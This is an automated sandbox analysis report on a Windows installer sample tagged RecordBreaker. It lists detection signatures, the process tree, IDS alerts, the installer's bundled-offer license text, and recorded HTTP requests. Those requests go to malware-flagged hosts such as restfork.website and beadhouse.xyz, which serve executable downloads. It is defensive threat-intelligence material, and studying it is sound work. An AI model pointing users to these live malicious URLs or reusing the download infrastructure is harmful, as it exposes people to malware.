Edit tour

Windows Analysis Report
61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Overview

General Information

Sample name:	61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Analysis ID:	1378659
MD5:	2800086d1e1bc2bfc3fd70f888baa391
SHA1:	ace5ca715f0279a9290e55c4ebc0988457446d6a
SHA256:	61487917009bbcc5f0dac7840265060f070adc22139fbab964a37cd68b7779c4
Tags:	exeRecordBreaker
Infos:

Detection

Score:	42
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Machine Learning detection for dropped file

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Classification

Process Tree

System is w10x64

61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe (PID: 7116 cmdline: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe MD5: 2800086D1E1BC2BFC3FD70F888BAA391)

61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp (PID: 3484 cmdline: "C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp" /SL5="$20436,832512,832512,C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe" MD5: 32CC3E106FF135C7611F471BEBC5293D)

setup.exe (PID: 5000 cmdline: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe MD5: 96F723D9AF7F2E4B45908770611B4350)

cleanup

Snort Signatures

ET MALWARE Win32/TrojanDownloader Variant Activity (GET) - Source IP: 192.168.2.4 - Destination IP: 172.67.206.124

Timestamp:	192.168.2.4172.67.206.12449729802047660 01/22/24-11:52:00.601181
SID:	2047660
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://restfork.website/boa.phpZ	Avira URL Cloud: Label: malware
Source: http://restfork.website/	Avira URL Cloud: Label: malware
Source: http://restfork.website/boa.php	Avira URL Cloud: Label: malware
Source: https://www.pcmaintainer.com/eula	Avira URL Cloud: Label: malware
Source: https://destructionheat.site/tracker/thank_you.php?trk=2529	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/	Avira URL Cloud: Label: phishing
Source: http://restfork.website/y	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQ	Avira URL Cloud: Label: phishing
Source: http://www.pcmaintainer.com/privacy	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: restfork.website	Virustotal: Detection: 9%	Perma Link
Source: http://restfork.website/boa.phpZ	Virustotal: Detection: 6%	Perma Link
Source: http://restfork.website/	Virustotal: Detection: 9%	Perma Link
Source: http://restfork.website/boa.php	Virustotal: Detection: 6%	Perma Link
Source: http://restfork.website/y	Virustotal: Detection: 7%	Perma Link

Multi AV Scanner detection for submitted file

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	ReversingLabs: Detection: 41%
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Virustotal: Detection: 46%			Perma Link

Machine Learning detection for dropped file

Source: C:\winrar-x64-623.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Joe Sandbox ML: detected

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Window detected: &Next >CancelGreak Memories of Azur Trke Yama.exe Greak Memories of Azur Trke Yama.exeLicense AgreementPlease review the license terms before installing Greak Memories of Azur Trke Yama.exe.Press Page Down to see the rest of the agreement.Welcome this is an important message and license agreement so please read all below carefully. Greak Memories of Azur Trke Yama.exe is financed by advertisement. By clicking Accept you will continue with the installation of Greak Memories of Azur Trke Yama.exe and the offers listed below.Get an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the EULA <https://legal.opera.com/eula/computers/> Privacy Policy <https://legal.opera.com/privacy/> and consent to install.proxy service to protect your privacy. Accept the EULA <https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe> by pressing "Agree". Make your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the EULA <https://advancedmanager.io/eula> and Privacy Policy <https://advancedmanager.io/privacy-policy> by pressing "Agree". Are you ready to transform your Windows operating system and experience peak performance like never before? Look no further you're about to unlock the full potential of your PC with our cutting-edge PC Maintainer application.Experience a noticeable performance boost after running our Disk Defragmentation tool ensuring your system runs at its best. The CleanMgr feature identifies and removes unnecessary files helping you regain valuable storage space. Our SFC Scan feature performs a deep analysis of all system files to ensure that even the smallest issues are detected and resolved.We're committed to keeping your PC Maintainer up to date. Enjoy free regular updates with additional features and improvements.By clicking "Accept" you have read the Privacy Policy <https://www.pcmaintainer.com/eula> and hereby agree to the EULA <http://www.pcmaintainer.com/privacy> and to the installation of PC Maintainer.clicking "I Agree" you agree to the EULA <http://goo.gl/fxTiKZ> and consent to install DotDo.tracker - An intuitive health monitoring application that seamlessly tracks analyzes and gives insights about your daily health metrics. Accept the EULA <https://doc-hosting.flycricket.io/health-tracker-privacy-policy/e1662a21-b082-4dae-bcb0-3abd33859f1c/privacy> and install by pressing "Next". If you accept the terms of the agreement click I Agree to continue. You must accept the agreement to install Greak Memories of Azur Trke Yama.exe.

Source: unknown

HTTPS traffic detected: 104.21.38.59:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb- source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Code function: 2_2_00405E61 FindFirstFileA,FindClose,	2_2_00405E61
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Code function: 2_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_0040548B
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Code function: 2_2_0040263E FindFirstFileA,	2_2_0040263E

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2047660 ET MALWARE Win32/TrojanDownloader Variant Activity (GET) 192.168.2.4:49729 -> 172.67.206.124:80

Performs DNS queries to domains with low reputation

Source:	DNS query: antsmemory.xyz
Source:	DNS query: beadhouse.xyz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 22 Jan 2024 10:52:04 GMTContent-Type: application/force-downloadContent-Length: 3467931Connection: keep-aliveX-Powered-By: PHP/5.3.28Content-Disposition: attachment; filename="Greak Memories of Azur Trke Yama.exe_.exe"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bWs%2B9koeuP6dBWttpQaaQejWJEF7dWF1egZPsDLoHXeWQa82XjqRen1Lbp0KK7whQRTAQG0Tw2DJZTCTt8n3xBA748jIk%2Bsgz5HABpz1XHpahqZEdsK9T0MX4zmtUW2Muw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 84973ebdffbc7bbe-ATLalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 b8 84 3a 75 d9 ea 69 75 d9 ea 69 75 d9 ea 69 b6 d6 b5 69 77 d9 ea 69 75 d9 eb 69 ee d9 ea 69 b6 d6 b7 69 64 d9 ea 69 21 fa da 69 7f d9 ea 69 b2 df ec 69 74 d9 ea 69 52 69 63 68 75 d9 ea 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c6 e3 1a 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d4 01 00 00 04 00 00 3c 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 60 03 00 e0 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 20 01 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1:uiuiuiiwiuiiidi!iiitiRichuiPELK\<2p@s`?p.textZZ\

Source: Joe Sandbox View

IP Address: 104.21.23.90 104.21.23.90

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ss.php?a=3851&cc=US&t=1705920717 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bo.php?p=3851&t=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbWEuZXhl&sub=&ps=6579ddd35c34a HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: restfork.website
Source: global traffic	HTTP traffic detected: GET /pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbWEuZXhl&ti=1705920721 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: antsmemory.xyz
Source: global traffic	HTTP traffic detected: GET /boa.php HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: restfork.website
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=1&a=2529&on=420&o=1662 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2529&dn=420&spot=1&t=1705920717 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=2&a=2529&on=419&o=1661 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2529&dn=419&spot=2&t=1705920717 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=3&a=2529&on=244&o=331 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2529&dn=244&spot=3&t=1705920717 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=4&a=2529&on=424&o=1664 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2529&dn=424&spot=4&t=1705920717 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=5&a=2529&on=310&o=365 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=365&a=2529&dn=310&spot=5&t=1705920717 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=6&a=2529&on=434&o=1670 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1670&a=2529&dn=434&spot=6&t=1705920717 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: restfork.website

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 22 Jan 2024 10:52:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kYaGAcq6tdrURzRz0xkn9NnA357R0TVRd%2FjqdNKYf4kXVEpC%2BIQM7hlUI408r3%2B%2B2yFWvqZVOS2dY18l%2FejigO3tQrz%2B238Gad4NGZOy1yHAYSku%2FggvckbzLveuRPRv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 84973ef3dc0b1389-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 22 Jan 2024 10:52:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zEilxR4jKh06O%2BzIzs%2FSs%2BO8j4X4J308mNpYwdpYAiZ7%2FYl4Ijn%2F1HlO9c9UayUajzdDMWFQm%2BiEtjpXonLxu%2BndXShBwxae7egKQu0g4lJkyZbkIda%2BNFDsSIJdYhjp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 84973ef97da01389-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 22 Jan 2024 10:52:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3gaTzNfT3Gmvy9pXsZTuT0OrfkfWNvmGW3Hyt7nxtLw7H7%2FKvap%2Fuiy1YEa0QVuHuDIilgRAbHtlRLGIr0N0Eb2VwQkZNiWEoXIQ2SX8%2B3s9TBIYjWRJoUrQiblGnY%2BV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 84973efbce3e1389-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 22 Jan 2024 10:52:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4EZcndXDZ487DCxlCRgzoyClJ9YtPgk5ebcislxv%2FNnpJ7q%2FRFaIMPj8SXMyZc%2BgWCpIYe4vtxg%2BfhvJJ2T0Trfgkt2PJULqNDQ18a8MACcpBAPZAJBzkX1F9a2RFXPj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 84973f0a4ab41389-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 22 Jan 2024 10:52:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=V5ll%2BGbD4Tg2TI27Q8AFXWtCioKQycx16%2FE%2FjX3FiMRKjYvzpJG5fTwAfmJ6ebOFtdqFEAU04%2BdWkwSIqoxMx7s%2Fq6%2B0nFW%2FNc4elBalPgjafdSVS9PAHEN8ttoTE9Sx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 84973f0c8b5f1389-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 22 Jan 2024 10:52:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lhK9%2FXPcY4LARLBYOipGZ4JQRvh0wr12UnvbkfOazVjrwr58xRQBJUbc9o45J%2BK6WUxL5M5Q3vjWRol3khKHp4y62tnp2HmWkQfolhjhqXobMpcmc%2BOnFcn%2FXlxFuj%2Bd"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 84973f0ecbfe1389-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.0000000002589000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.0000000000966000.00000004.00000020.00020000.00000000.sdmp, is-8SD4O.tmp.1.dr	String found in binary or memory: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQ
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662
Source: setup.exe, 00000002.00000002.2904657026.000000000064E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662n
Source: setup.exe, 00000002.00000002.2904657026.000000000064E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662q
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=2&a=2529&on=419&o=1661
Source: setup.exe, 00000002.00000002.2904657026.000000000064E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=2&a=2529&on=419&o=1661S
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=3&a=2529&on=244&o=331
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2529&on=424&o=1664
Source: setup.exe, 00000002.00000002.2904657026.000000000064E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2529&on=424&o=1664=
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365-
Source: setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365-128B-460A-A029-1EFC4AB6174A
Source: setup.exe, 00000002.00000002.2904657026.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365=2529&dn=424&spot=4&t=1705920717
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365S
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670%
Source: setup.exe, 00000002.00000002.2904657026.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670529&dn=310&spot=5&t=1705920717z
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670=K
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670C
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2529&dn=419&spot=2&t=17
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2529&dn=420&spot=1&t=17
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2529&dn=424&spot=4&t=17
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1670&a=2529&dn=434&spot=6&t=17
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2529&dn=244&spot=3&t=170
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=365&a=2529&dn=310&spot=5&t=170
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2529&dn=419&spot=2&t=1
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2529&dn=420&spot=1&t=1
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2529&dn=424&spot=4&t=1
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1670&a=2529&dn=434&spot=6&t=1
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2529&dn=244&spot=3&t=17
Source: nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=365&a=2529&dn=310&spot=5&t=17
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2529&dn=419&spot=2
